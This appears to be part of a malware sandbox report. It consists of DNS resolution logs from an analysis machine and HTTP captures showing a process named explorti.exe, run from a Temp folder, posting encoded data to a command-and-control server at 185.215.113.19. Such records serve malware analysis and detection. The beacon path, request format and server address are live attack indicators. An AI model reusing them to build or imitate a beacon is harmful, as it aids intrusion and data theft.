Jul 26, 2024 08:57:50.769918919 CEST	1.1.1.1	192.168.2.7	0x1ea4	No error (0)	prod.detectportal.prod.cloudops.mozgcp.net		34.107.221.82	A (IP address)	IN (0x0001)	false
Jul 26, 2024 08:57:51.121191025 CEST	1.1.1.1	192.168.2.7	0xe078	No error (0)	scdn1f005.wpc.ad629.nucdn.net	sni1gl.wpc.nucdn.net		CNAME (Canonical name)	IN (0x0001)	false
Jul 26, 2024 08:57:51.121191025 CEST	1.1.1.1	192.168.2.7	0xe078	No error (0)	sni1gl.wpc.nucdn.net		152.199.21.175	A (IP address)	IN (0x0001)	false
Jul 26, 2024 08:57:51.140259027 CEST	1.1.1.1	192.168.2.7	0xe772	No error (0)	scdn1f005.wpc.ad629.nucdn.net	sni1gl.wpc.nucdn.net		CNAME (Canonical name)	IN (0x0001)	false
Jul 26, 2024 08:57:51.983549118 CEST	1.1.1.1	192.168.2.7	0xa139	No error (0)	scdn1f005.wpc.ad629.nucdn.net	sni1gl.wpc.nucdn.net		CNAME (Canonical name)	IN (0x0001)	false
Jul 26, 2024 08:57:51.984014988 CEST	1.1.1.1	192.168.2.7	0xef61	No error (0)	scdn1f005.wpc.ad629.nucdn.net	sni1gl.wpc.nucdn.net		CNAME (Canonical name)	IN (0x0001)	false
Jul 26, 2024 08:57:51.984014988 CEST	1.1.1.1	192.168.2.7	0xef61	No error (0)	sni1gl.wpc.nucdn.net		152.199.21.175	A (IP address)	IN (0x0001)	false
Jul 26, 2024 08:57:53.608083010 CEST	1.1.1.1	192.168.2.7	0xc4af	No error (0)	www.youtube.com	youtube-ui.l.google.com		CNAME (Canonical name)	IN (0x0001)	false
Jul 26, 2024 08:57:53.608083010 CEST	1.1.1.1	192.168.2.7	0xc4af	No error (0)	youtube-ui.l.google.com		142.250.186.142	A (IP address)	IN (0x0001)	false
Jul 26, 2024 08:57:53.608083010 CEST	1.1.1.1	192.168.2.7	0xc4af	No error (0)	youtube-ui.l.google.com		142.250.181.238	A (IP address)	IN (0x0001)	false
Jul 26, 2024 08:57:53.608083010 CEST	1.1.1.1	192.168.2.7	0xc4af	No error (0)	youtube-ui.l.google.com		142.250.186.46	A (IP address)	IN (0x0001)	false
Jul 26, 2024 08:57:53.608083010 CEST	1.1.1.1	192.168.2.7	0xc4af	No error (0)	youtube-ui.l.google.com		216.58.212.174	A (IP address)	IN (0x0001)	false
Jul 26, 2024 08:57:53.608083010 CEST	1.1.1.1	192.168.2.7	0xc4af	No error (0)	youtube-ui.l.google.com		216.58.206.78	A (IP address)	IN (0x0001)	false
Jul 26, 2024 08:57:53.608083010 CEST	1.1.1.1	192.168.2.7	0xc4af	No error (0)	youtube-ui.l.google.com		142.250.186.174	A (IP address)	IN (0x0001)	false
Jul 26, 2024 08:57:53.608083010 CEST	1.1.1.1	192.168.2.7	0xc4af	No error (0)	youtube-ui.l.google.com		172.217.18.14	A (IP address)	IN (0x0001)	false
Jul 26, 2024 08:57:53.608083010 CEST	1.1.1.1	192.168.2.7	0xc4af	No error (0)	youtube-ui.l.google.com		142.250.186.78	A (IP address)	IN (0x0001)	false
Jul 26, 2024 08:57:53.608083010 CEST	1.1.1.1	192.168.2.7	0xc4af	No error (0)	youtube-ui.l.google.com		142.250.74.206	A (IP address)	IN (0x0001)	false
Jul 26, 2024 08:57:53.608083010 CEST	1.1.1.1	192.168.2.7	0xc4af	No error (0)	youtube-ui.l.google.com		172.217.16.142	A (IP address)	IN (0x0001)	false
Jul 26, 2024 08:57:53.608083010 CEST	1.1.1.1	192.168.2.7	0xc4af	No error (0)	youtube-ui.l.google.com		172.217.23.110	A (IP address)	IN (0x0001)	false
Jul 26, 2024 08:57:53.608083010 CEST	1.1.1.1	192.168.2.7	0xc4af	No error (0)	youtube-ui.l.google.com		142.250.185.142	A (IP address)	IN (0x0001)	false
Jul 26, 2024 08:57:53.608083010 CEST	1.1.1.1	192.168.2.7	0xc4af	No error (0)	youtube-ui.l.google.com		172.217.16.206	A (IP address)	IN (0x0001)	false
Jul 26, 2024 08:57:53.608083010 CEST	1.1.1.1	192.168.2.7	0xc4af	No error (0)	youtube-ui.l.google.com		172.217.18.110	A (IP address)	IN (0x0001)	false
Jul 26, 2024 08:57:53.608083010 CEST	1.1.1.1	192.168.2.7	0xc4af	No error (0)	youtube-ui.l.google.com		142.250.186.110	A (IP address)	IN (0x0001)	false
Jul 26, 2024 08:57:53.608083010 CEST	1.1.1.1	192.168.2.7	0xc4af	No error (0)	youtube-ui.l.google.com		142.250.184.206	A (IP address)	IN (0x0001)	false
Jul 26, 2024 08:57:53.608489990 CEST	1.1.1.1	192.168.2.7	0x8690	No error (0)	www.youtube.com	youtube-ui.l.google.com		CNAME (Canonical name)	IN (0x0001)	false
Jul 26, 2024 08:57:53.608489990 CEST	1.1.1.1	192.168.2.7	0x8690	No error (0)	youtube-ui.l.google.com			65	IN (0x0001)	false
Jul 26, 2024 08:57:53.609143019 CEST	1.1.1.1	192.168.2.7	0xccb8	No error (0)	www.youtube.com	youtube-ui.l.google.com		CNAME (Canonical name)	IN (0x0001)	false
Jul 26, 2024 08:57:53.609143019 CEST	1.1.1.1	192.168.2.7	0xccb8	No error (0)	youtube-ui.l.google.com		142.250.184.206	A (IP address)	IN (0x0001)	false
Jul 26, 2024 08:57:53.609143019 CEST	1.1.1.1	192.168.2.7	0xccb8	No error (0)	youtube-ui.l.google.com		142.250.181.238	A (IP address)	IN (0x0001)	false
Jul 26, 2024 08:57:53.609143019 CEST	1.1.1.1	192.168.2.7	0xccb8	No error (0)	youtube-ui.l.google.com		172.217.23.110	A (IP address)	IN (0x0001)	false
Jul 26, 2024 08:57:53.609143019 CEST	1.1.1.1	192.168.2.7	0xccb8	No error (0)	youtube-ui.l.google.com		142.250.186.46	A (IP address)	IN (0x0001)	false
Jul 26, 2024 08:57:53.609143019 CEST	1.1.1.1	192.168.2.7	0xccb8	No error (0)	youtube-ui.l.google.com		142.250.186.142	A (IP address)	IN (0x0001)	false
Jul 26, 2024 08:57:53.609143019 CEST	1.1.1.1	192.168.2.7	0xccb8	No error (0)	youtube-ui.l.google.com		142.250.186.174	A (IP address)	IN (0x0001)	false
Jul 26, 2024 08:57:53.609143019 CEST	1.1.1.1	192.168.2.7	0xccb8	No error (0)	youtube-ui.l.google.com		142.250.185.142	A (IP address)	IN (0x0001)	false
Jul 26, 2024 08:57:53.609143019 CEST	1.1.1.1	192.168.2.7	0xccb8	No error (0)	youtube-ui.l.google.com		172.217.18.110	A (IP address)	IN (0x0001)	false
Jul 26, 2024 08:57:53.609143019 CEST	1.1.1.1	192.168.2.7	0xccb8	No error (0)	youtube-ui.l.google.com		172.217.16.142	A (IP address)	IN (0x0001)	false
Jul 26, 2024 08:57:53.609143019 CEST	1.1.1.1	192.168.2.7	0xccb8	No error (0)	youtube-ui.l.google.com		142.250.186.110	A (IP address)	IN (0x0001)	false
Jul 26, 2024 08:57:53.609143019 CEST	1.1.1.1	192.168.2.7	0xccb8	No error (0)	youtube-ui.l.google.com		172.217.18.14	A (IP address)	IN (0x0001)	false
Jul 26, 2024 08:57:53.609143019 CEST	1.1.1.1	192.168.2.7	0xccb8	No error (0)	youtube-ui.l.google.com		172.217.16.206	A (IP address)	IN (0x0001)	false
Jul 26, 2024 08:57:53.609143019 CEST	1.1.1.1	192.168.2.7	0xccb8	No error (0)	youtube-ui.l.google.com		142.250.74.206	A (IP address)	IN (0x0001)	false
Jul 26, 2024 08:57:53.609143019 CEST	1.1.1.1	192.168.2.7	0xccb8	No error (0)	youtube-ui.l.google.com		216.58.212.142	A (IP address)	IN (0x0001)	false
Jul 26, 2024 08:57:53.609143019 CEST	1.1.1.1	192.168.2.7	0xccb8	No error (0)	youtube-ui.l.google.com		216.58.206.78	A (IP address)	IN (0x0001)	false
Jul 26, 2024 08:57:53.609143019 CEST	1.1.1.1	192.168.2.7	0xccb8	No error (0)	youtube-ui.l.google.com		142.250.186.78	A (IP address)	IN (0x0001)	false
Jul 26, 2024 08:57:54.010426044 CEST	1.1.1.1	192.168.2.7	0xdab2	No error (0)	scdn1f005.wpc.ad629.nucdn.net	sni1gl.wpc.nucdn.net		CNAME (Canonical name)	IN (0x0001)	false
Jul 26, 2024 08:57:54.010426044 CEST	1.1.1.1	192.168.2.7	0xdab2	No error (0)	sni1gl.wpc.nucdn.net		152.199.21.175	A (IP address)	IN (0x0001)	false
Jul 26, 2024 08:57:55.015356064 CEST	1.1.1.1	192.168.2.7	0xdab2	No error (0)	scdn1f005.wpc.ad629.nucdn.net	sni1gl.wpc.nucdn.net		CNAME (Canonical name)	IN (0x0001)	false
Jul 26, 2024 08:57:55.015356064 CEST	1.1.1.1	192.168.2.7	0xdab2	No error (0)	sni1gl.wpc.nucdn.net		152.199.21.175	A (IP address)	IN (0x0001)	false
Jul 26, 2024 08:57:55.747585058 CEST	1.1.1.1	192.168.2.7	0xcccd	No error (0)	chrome.cloudflare-dns.com			65	IN (0x0001)	false
Jul 26, 2024 08:57:55.747618914 CEST	1.1.1.1	192.168.2.7	0xb7	No error (0)	chrome.cloudflare-dns.com			65	IN (0x0001)	false
Jul 26, 2024 08:57:55.747629881 CEST	1.1.1.1	192.168.2.7	0xc81a	No error (0)	chrome.cloudflare-dns.com		172.64.41.3	A (IP address)	IN (0x0001)	false
Jul 26, 2024 08:57:55.747629881 CEST	1.1.1.1	192.168.2.7	0xc81a	No error (0)	chrome.cloudflare-dns.com		162.159.61.3	A (IP address)	IN (0x0001)	false
Jul 26, 2024 08:57:55.747639894 CEST	1.1.1.1	192.168.2.7	0x83a9	No error (0)	chrome.cloudflare-dns.com		162.159.61.3	A (IP address)	IN (0x0001)	false
Jul 26, 2024 08:57:55.747639894 CEST	1.1.1.1	192.168.2.7	0x83a9	No error (0)	chrome.cloudflare-dns.com		172.64.41.3	A (IP address)	IN (0x0001)	false
Jul 26, 2024 08:57:55.747653008 CEST	1.1.1.1	192.168.2.7	0xe256	No error (0)	chrome.cloudflare-dns.com			65	IN (0x0001)	false
Jul 26, 2024 08:57:55.747662067 CEST	1.1.1.1	192.168.2.7	0x5912	No error (0)	chrome.cloudflare-dns.com		172.64.41.3	A (IP address)	IN (0x0001)	false
Jul 26, 2024 08:57:55.747662067 CEST	1.1.1.1	192.168.2.7	0x5912	No error (0)	chrome.cloudflare-dns.com		162.159.61.3	A (IP address)	IN (0x0001)	false
Jul 26, 2024 08:57:56.021531105 CEST	1.1.1.1	192.168.2.7	0xdab2	No error (0)	scdn1f005.wpc.ad629.nucdn.net	sni1gl.wpc.nucdn.net		CNAME (Canonical name)	IN (0x0001)	false
Jul 26, 2024 08:57:56.021531105 CEST	1.1.1.1	192.168.2.7	0xdab2	No error (0)	sni1gl.wpc.nucdn.net		152.199.21.175	A (IP address)	IN (0x0001)	false
Jul 26, 2024 08:57:57.391171932 CEST	1.1.1.1	192.168.2.7	0xf70d	No error (0)	www.youtube.com	youtube-ui.l.google.com		CNAME (Canonical name)	IN (0x0001)	false
Jul 26, 2024 08:57:57.391171932 CEST	1.1.1.1	192.168.2.7	0xf70d	No error (0)	youtube-ui.l.google.com		216.58.212.142	A (IP address)	IN (0x0001)	false
Jul 26, 2024 08:57:57.391171932 CEST	1.1.1.1	192.168.2.7	0xf70d	No error (0)	youtube-ui.l.google.com		142.250.185.110	A (IP address)	IN (0x0001)	false
Jul 26, 2024 08:57:57.391171932 CEST	1.1.1.1	192.168.2.7	0xf70d	No error (0)	youtube-ui.l.google.com		142.250.186.110	A (IP address)	IN (0x0001)	false
Jul 26, 2024 08:57:57.391171932 CEST	1.1.1.1	192.168.2.7	0xf70d	No error (0)	youtube-ui.l.google.com		142.250.186.142	A (IP address)	IN (0x0001)	false
Jul 26, 2024 08:57:57.391171932 CEST	1.1.1.1	192.168.2.7	0xf70d	No error (0)	youtube-ui.l.google.com		216.58.206.46	A (IP address)	IN (0x0001)	false
Jul 26, 2024 08:57:57.391171932 CEST	1.1.1.1	192.168.2.7	0xf70d	No error (0)	youtube-ui.l.google.com		142.250.181.238	A (IP address)	IN (0x0001)	false
Jul 26, 2024 08:57:57.391171932 CEST	1.1.1.1	192.168.2.7	0xf70d	No error (0)	youtube-ui.l.google.com		142.250.184.238	A (IP address)	IN (0x0001)	false
Jul 26, 2024 08:57:57.391171932 CEST	1.1.1.1	192.168.2.7	0xf70d	No error (0)	youtube-ui.l.google.com		142.250.185.78	A (IP address)	IN (0x0001)	false
Jul 26, 2024 08:57:57.391171932 CEST	1.1.1.1	192.168.2.7	0xf70d	No error (0)	youtube-ui.l.google.com		216.58.212.174	A (IP address)	IN (0x0001)	false
Jul 26, 2024 08:57:57.391171932 CEST	1.1.1.1	192.168.2.7	0xf70d	No error (0)	youtube-ui.l.google.com		172.217.16.206	A (IP address)	IN (0x0001)	false
Jul 26, 2024 08:57:57.391171932 CEST	1.1.1.1	192.168.2.7	0xf70d	No error (0)	youtube-ui.l.google.com		142.250.185.174	A (IP address)	IN (0x0001)	false
Jul 26, 2024 08:57:57.391171932 CEST	1.1.1.1	192.168.2.7	0xf70d	No error (0)	youtube-ui.l.google.com		142.250.186.174	A (IP address)	IN (0x0001)	false
Jul 26, 2024 08:57:57.391171932 CEST	1.1.1.1	192.168.2.7	0xf70d	No error (0)	youtube-ui.l.google.com		142.250.185.206	A (IP address)	IN (0x0001)	false
Jul 26, 2024 08:57:57.391171932 CEST	1.1.1.1	192.168.2.7	0xf70d	No error (0)	youtube-ui.l.google.com		172.217.18.14	A (IP address)	IN (0x0001)	false
Jul 26, 2024 08:57:57.391171932 CEST	1.1.1.1	192.168.2.7	0xf70d	No error (0)	youtube-ui.l.google.com		142.250.186.78	A (IP address)	IN (0x0001)	false
Jul 26, 2024 08:57:57.391171932 CEST	1.1.1.1	192.168.2.7	0xf70d	No error (0)	youtube-ui.l.google.com		142.250.185.238	A (IP address)	IN (0x0001)	false
Jul 26, 2024 08:57:57.403934956 CEST	1.1.1.1	192.168.2.7	0x4e26	No error (0)	youtube-ui.l.google.com		142.250.184.238	A (IP address)	IN (0x0001)	false
Jul 26, 2024 08:57:57.403934956 CEST	1.1.1.1	192.168.2.7	0x4e26	No error (0)	youtube-ui.l.google.com		172.217.16.142	A (IP address)	IN (0x0001)	false
Jul 26, 2024 08:57:57.403934956 CEST	1.1.1.1	192.168.2.7	0x4e26	No error (0)	youtube-ui.l.google.com		142.250.185.142	A (IP address)	IN (0x0001)	false
Jul 26, 2024 08:57:57.403934956 CEST	1.1.1.1	192.168.2.7	0x4e26	No error (0)	youtube-ui.l.google.com		142.250.186.110	A (IP address)	IN (0x0001)	false
Jul 26, 2024 08:57:57.403934956 CEST	1.1.1.1	192.168.2.7	0x4e26	No error (0)	youtube-ui.l.google.com		216.58.206.78	A (IP address)	IN (0x0001)	false
Jul 26, 2024 08:57:57.403934956 CEST	1.1.1.1	192.168.2.7	0x4e26	No error (0)	youtube-ui.l.google.com		172.217.18.14	A (IP address)	IN (0x0001)	false
Jul 26, 2024 08:57:57.403934956 CEST	1.1.1.1	192.168.2.7	0x4e26	No error (0)	youtube-ui.l.google.com		216.58.206.46	A (IP address)	IN (0x0001)	false
Jul 26, 2024 08:57:57.403934956 CEST	1.1.1.1	192.168.2.7	0x4e26	No error (0)	youtube-ui.l.google.com		142.250.186.46	A (IP address)	IN (0x0001)	false
Jul 26, 2024 08:57:57.403934956 CEST	1.1.1.1	192.168.2.7	0x4e26	No error (0)	youtube-ui.l.google.com		172.217.16.206	A (IP address)	IN (0x0001)	false
Jul 26, 2024 08:57:57.403934956 CEST	1.1.1.1	192.168.2.7	0x4e26	No error (0)	youtube-ui.l.google.com		142.250.184.206	A (IP address)	IN (0x0001)	false
Jul 26, 2024 08:57:57.403934956 CEST	1.1.1.1	192.168.2.7	0x4e26	No error (0)	youtube-ui.l.google.com		142.250.181.238	A (IP address)	IN (0x0001)	false
Jul 26, 2024 08:57:57.403934956 CEST	1.1.1.1	192.168.2.7	0x4e26	No error (0)	youtube-ui.l.google.com		142.250.185.206	A (IP address)	IN (0x0001)	false
Jul 26, 2024 08:57:57.403934956 CEST	1.1.1.1	192.168.2.7	0x4e26	No error (0)	youtube-ui.l.google.com		142.250.185.238	A (IP address)	IN (0x0001)	false
Jul 26, 2024 08:57:57.403934956 CEST	1.1.1.1	192.168.2.7	0x4e26	No error (0)	youtube-ui.l.google.com		142.250.186.174	A (IP address)	IN (0x0001)	false
Jul 26, 2024 08:57:57.403934956 CEST	1.1.1.1	192.168.2.7	0x4e26	No error (0)	youtube-ui.l.google.com		142.250.185.110	A (IP address)	IN (0x0001)	false
Jul 26, 2024 08:57:57.403934956 CEST	1.1.1.1	192.168.2.7	0x4e26	No error (0)	youtube-ui.l.google.com		142.250.185.174	A (IP address)	IN (0x0001)	false
Jul 26, 2024 08:57:57.416063070 CEST	1.1.1.1	192.168.2.7	0x1e36	No error (0)	youtube-ui.l.google.com			28	IN (0x0001)	false
Jul 26, 2024 08:57:57.416063070 CEST	1.1.1.1	192.168.2.7	0x1e36	No error (0)	youtube-ui.l.google.com			28	IN (0x0001)	false
Jul 26, 2024 08:57:57.416063070 CEST	1.1.1.1	192.168.2.7	0x1e36	No error (0)	youtube-ui.l.google.com			28	IN (0x0001)	false
Jul 26, 2024 08:57:57.416063070 CEST	1.1.1.1	192.168.2.7	0x1e36	No error (0)	youtube-ui.l.google.com			28	IN (0x0001)	false
Jul 26, 2024 08:57:58.031485081 CEST	1.1.1.1	192.168.2.7	0xdab2	No error (0)	scdn1f005.wpc.ad629.nucdn.net	sni1gl.wpc.nucdn.net		CNAME (Canonical name)	IN (0x0001)	false
Jul 26, 2024 08:57:58.031485081 CEST	1.1.1.1	192.168.2.7	0xdab2	No error (0)	sni1gl.wpc.nucdn.net		152.199.21.175	A (IP address)	IN (0x0001)	false
Jul 26, 2024 08:57:59.590095997 CEST	1.1.1.1	192.168.2.7	0xf71e	No error (0)	content-signature-2.cdn.mozilla.net	content-signature-chains.prod.autograph.services.mozaws.net		CNAME (Canonical name)	IN (0x0001)	false
Jul 26, 2024 08:57:59.590095997 CEST	1.1.1.1	192.168.2.7	0xf71e	No error (0)	content-signature-chains.prod.autograph.services.mozaws.net	prod.content-signature-chains.prod.webservices.mozgcp.net		CNAME (Canonical name)	IN (0x0001)	false
Jul 26, 2024 08:57:59.590095997 CEST	1.1.1.1	192.168.2.7	0xf71e	No error (0)	prod.content-signature-chains.prod.webservices.mozgcp.net		34.160.144.191	A (IP address)	IN (0x0001)	false
Jul 26, 2024 08:57:59.599903107 CEST	1.1.1.1	192.168.2.7	0xcc2b	No error (0)	prod.content-signature-chains.prod.webservices.mozgcp.net		34.160.144.191	A (IP address)	IN (0x0001)	false
Jul 26, 2024 08:57:59.610603094 CEST	1.1.1.1	192.168.2.7	0xf118	No error (0)	prod.content-signature-chains.prod.webservices.mozgcp.net			28	IN (0x0001)	false
Jul 26, 2024 08:57:59.659162998 CEST	1.1.1.1	192.168.2.7	0x571f	No error (0)	mitmdetection.services.mozilla.com		13.32.99.17	A (IP address)	IN (0x0001)	false
Jul 26, 2024 08:57:59.659162998 CEST	1.1.1.1	192.168.2.7	0x571f	No error (0)	mitmdetection.services.mozilla.com		13.32.99.66	A (IP address)	IN (0x0001)	false
Jul 26, 2024 08:57:59.659162998 CEST	1.1.1.1	192.168.2.7	0x571f	No error (0)	mitmdetection.services.mozilla.com		13.32.99.49	A (IP address)	IN (0x0001)	false
Jul 26, 2024 08:57:59.659162998 CEST	1.1.1.1	192.168.2.7	0x571f	No error (0)	mitmdetection.services.mozilla.com		13.32.99.14	A (IP address)	IN (0x0001)	false
Jul 26, 2024 08:57:59.677898884 CEST	1.1.1.1	192.168.2.7	0xcd06	No error (0)	mitmdetection.services.mozilla.com		13.32.99.49	A (IP address)	IN (0x0001)	false
Jul 26, 2024 08:57:59.677898884 CEST	1.1.1.1	192.168.2.7	0xcd06	No error (0)	mitmdetection.services.mozilla.com		13.32.99.66	A (IP address)	IN (0x0001)	false
Jul 26, 2024 08:57:59.677898884 CEST	1.1.1.1	192.168.2.7	0xcd06	No error (0)	mitmdetection.services.mozilla.com		13.32.99.17	A (IP address)	IN (0x0001)	false
Jul 26, 2024 08:57:59.677898884 CEST	1.1.1.1	192.168.2.7	0xcd06	No error (0)	mitmdetection.services.mozilla.com		13.32.99.14	A (IP address)	IN (0x0001)	false
Jul 26, 2024 08:57:59.690885067 CEST	1.1.1.1	192.168.2.7	0x1d26	No error (0)	mitmdetection.services.mozilla.com			28	IN (0x0001)	false
Jul 26, 2024 08:57:59.690885067 CEST	1.1.1.1	192.168.2.7	0x1d26	No error (0)	mitmdetection.services.mozilla.com			28	IN (0x0001)	false
Jul 26, 2024 08:57:59.690885067 CEST	1.1.1.1	192.168.2.7	0x1d26	No error (0)	mitmdetection.services.mozilla.com			28	IN (0x0001)	false
Jul 26, 2024 08:57:59.690885067 CEST	1.1.1.1	192.168.2.7	0x1d26	No error (0)	mitmdetection.services.mozilla.com			28	IN (0x0001)	false
Jul 26, 2024 08:57:59.690885067 CEST	1.1.1.1	192.168.2.7	0x1d26	No error (0)	mitmdetection.services.mozilla.com			28	IN (0x0001)	false
Jul 26, 2024 08:57:59.690885067 CEST	1.1.1.1	192.168.2.7	0x1d26	No error (0)	mitmdetection.services.mozilla.com			28	IN (0x0001)	false
Jul 26, 2024 08:57:59.690885067 CEST	1.1.1.1	192.168.2.7	0x1d26	No error (0)	mitmdetection.services.mozilla.com			28	IN (0x0001)	false
Jul 26, 2024 08:57:59.690885067 CEST	1.1.1.1	192.168.2.7	0x1d26	No error (0)	mitmdetection.services.mozilla.com			28	IN (0x0001)	false
Jul 26, 2024 08:58:02.049726009 CEST	1.1.1.1	192.168.2.7	0xdab2	No error (0)	scdn1f005.wpc.ad629.nucdn.net	sni1gl.wpc.nucdn.net		CNAME (Canonical name)	IN (0x0001)	false
Jul 26, 2024 08:58:02.049726009 CEST	1.1.1.1	192.168.2.7	0xdab2	No error (0)	sni1gl.wpc.nucdn.net		152.199.21.175	A (IP address)	IN (0x0001)	false
Jul 26, 2024 08:58:11.979687929 CEST	1.1.1.1	192.168.2.7	0xc2a0	No error (0)	o.pki.goog	pki-goog.l.google.com		CNAME (Canonical name)	IN (0x0001)	false
Jul 26, 2024 08:58:11.979687929 CEST	1.1.1.1	192.168.2.7	0xc2a0	No error (0)	pki-goog.l.google.com		142.250.185.163	A (IP address)	IN (0x0001)	false
Jul 26, 2024 08:58:11.991441011 CEST	1.1.1.1	192.168.2.7	0xb420	No error (0)	pki-goog.l.google.com		216.58.206.35	A (IP address)	IN (0x0001)	false
Jul 26, 2024 08:58:11.998887062 CEST	1.1.1.1	192.168.2.7	0x5a03	No error (0)	pki-goog.l.google.com			28	IN (0x0001)	false
Jul 26, 2024 08:58:13.859971046 CEST	1.1.1.1	192.168.2.7	0x4472	No error (0)	contile.services.mozilla.com		34.117.188.166	A (IP address)	IN (0x0001)	false
Jul 26, 2024 08:58:13.871793985 CEST	1.1.1.1	192.168.2.7	0x3891	No error (0)	contile.services.mozilla.com		34.117.188.166	A (IP address)	IN (0x0001)	false
Jul 26, 2024 08:58:13.974692106 CEST	1.1.1.1	192.168.2.7	0x5bc3	No error (0)	spocs.getpocket.com	prod.ads.prod.webservices.mozgcp.net		CNAME (Canonical name)	IN (0x0001)	false
Jul 26, 2024 08:58:13.974692106 CEST	1.1.1.1	192.168.2.7	0x5bc3	No error (0)	prod.ads.prod.webservices.mozgcp.net		34.117.188.166	A (IP address)	IN (0x0001)	false
Jul 26, 2024 08:58:13.982629061 CEST	1.1.1.1	192.168.2.7	0x45ce	No error (0)	balrog-aus5.r53-2.services.mozilla.com	prod.balrog.prod.cloudops.mozgcp.net		CNAME (Canonical name)	IN (0x0001)	false
Jul 26, 2024 08:58:13.982629061 CEST	1.1.1.1	192.168.2.7	0x45ce	No error (0)	prod.balrog.prod.cloudops.mozgcp.net		35.244.181.201	A (IP address)	IN (0x0001)	false
Jul 26, 2024 08:58:13.987658978 CEST	1.1.1.1	192.168.2.7	0x54c2	No error (0)	prod.ads.prod.webservices.mozgcp.net		34.117.188.166	A (IP address)	IN (0x0001)	false
Jul 26, 2024 08:58:13.992158890 CEST	1.1.1.1	192.168.2.7	0x47bb	No error (0)	prod.balrog.prod.cloudops.mozgcp.net		35.244.181.201	A (IP address)	IN (0x0001)	false
Jul 26, 2024 08:58:14.057157993 CEST	1.1.1.1	192.168.2.7	0x2ee5	No error (0)	firefox.settings.services.mozilla.com	prod.remote-settings.prod.webservices.mozgcp.net		CNAME (Canonical name)	IN (0x0001)	false
Jul 26, 2024 08:58:14.057157993 CEST	1.1.1.1	192.168.2.7	0x2ee5	No error (0)	prod.remote-settings.prod.webservices.mozgcp.net		34.149.100.209	A (IP address)	IN (0x0001)	false
Jul 26, 2024 08:58:14.082226038 CEST	1.1.1.1	192.168.2.7	0x43fe	No error (0)	prod.remote-settings.prod.webservices.mozgcp.net		34.149.100.209	A (IP address)	IN (0x0001)	false
Jul 26, 2024 08:58:14.088121891 CEST	1.1.1.1	192.168.2.7	0xb6c4	No error (0)	shavar.services.mozilla.com	shavar.prod.mozaws.net		CNAME (Canonical name)	IN (0x0001)	false
Jul 26, 2024 08:58:14.122261047 CEST	1.1.1.1	192.168.2.7	0x2fde	No error (0)	push.services.mozilla.com	autopush.prod.mozaws.net		CNAME (Canonical name)	IN (0x0001)	false
Jul 26, 2024 08:58:14.333750963 CEST	1.1.1.1	192.168.2.7	0x4d33	No error (0)	balrog-aus5.r53-2.services.mozilla.com	prod.balrog.prod.cloudops.mozgcp.net		CNAME (Canonical name)	IN (0x0001)	false
Jul 26, 2024 08:58:14.333750963 CEST	1.1.1.1	192.168.2.7	0x4d33	No error (0)	prod.balrog.prod.cloudops.mozgcp.net		35.244.181.201	A (IP address)	IN (0x0001)	false
Jul 26, 2024 08:58:14.443888903 CEST	1.1.1.1	192.168.2.7	0xce35	No error (0)	prod.classify-client.prod.webservices.mozgcp.net		35.190.72.216	A (IP address)	IN (0x0001)	false
Jul 26, 2024 08:58:14.444065094 CEST	1.1.1.1	192.168.2.7	0xfa29	No error (0)	prod.classify-client.prod.webservices.mozgcp.net		35.190.72.216	A (IP address)	IN (0x0001)	false
Jul 26, 2024 08:58:19.151819944 CEST	1.1.1.1	192.168.2.7	0xfcaa	No error (0)	ip-api.com		208.95.112.1	A (IP address)	IN (0x0001)	false
Jul 26, 2024 08:58:19.907501936 CEST	1.1.1.1	192.168.2.7	0x31c9	No error (0)	raw.githubusercontent.com		185.199.109.133	A (IP address)	IN (0x0001)	false
Jul 26, 2024 08:58:19.907501936 CEST	1.1.1.1	192.168.2.7	0x31c9	No error (0)	raw.githubusercontent.com		185.199.111.133	A (IP address)	IN (0x0001)	false
Jul 26, 2024 08:58:19.907501936 CEST	1.1.1.1	192.168.2.7	0x31c9	No error (0)	raw.githubusercontent.com		185.199.110.133	A (IP address)	IN (0x0001)	false
Jul 26, 2024 08:58:19.907501936 CEST	1.1.1.1	192.168.2.7	0x31c9	No error (0)	raw.githubusercontent.com		185.199.108.133	A (IP address)	IN (0x0001)	false
Jul 26, 2024 08:58:28.628004074 CEST	1.1.1.1	192.168.2.7	0xae37	No error (0)	coe.com.vn		103.28.36.182	A (IP address)	IN (0x0001)	false
Jul 26, 2024 08:58:28.628050089 CEST	1.1.1.1	192.168.2.7	0xae37	No error (0)	coe.com.vn		103.28.36.182	A (IP address)	IN (0x0001)	false
Jul 26, 2024 08:58:34.921578884 CEST	1.1.1.1	192.168.2.7	0x7747	No error (0)	restores.name		65.0.21.192	A (IP address)	IN (0x0001)	false

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.7	49705	185.215.113.19	80	7840	C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 26, 2024 08:57:29.860512972 CEST	154	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 26, 2024 08:57:30.632659912 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Jul 2024 06:57:30 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 26, 2024 08:57:30.635051966 CEST	314	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 162 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 30 42 34 45 46 41 38 45 34 39 44 32 41 43 35 34 35 31 44 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 44 42 35 32 38 37 37 42 30 35 46 38 32 44 31 32 46 43 34 37 44 42 32 33 43 41 39 36 34 46 46 35 36 34 43 33 38 42 33 37 33 37 30 33 35 42 31 45 36 30 43 38 44 30 45 39 33 39 46 42 36 30 38 42 45 43 35 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C80B4EFA8E49D2AC5451DB140BE1D46450FC9DDF642E3BDD70A7DB52877B05F82D12FC47DB23CA964FF564C38B3737035B1E60C8D0E939FB608BEC5
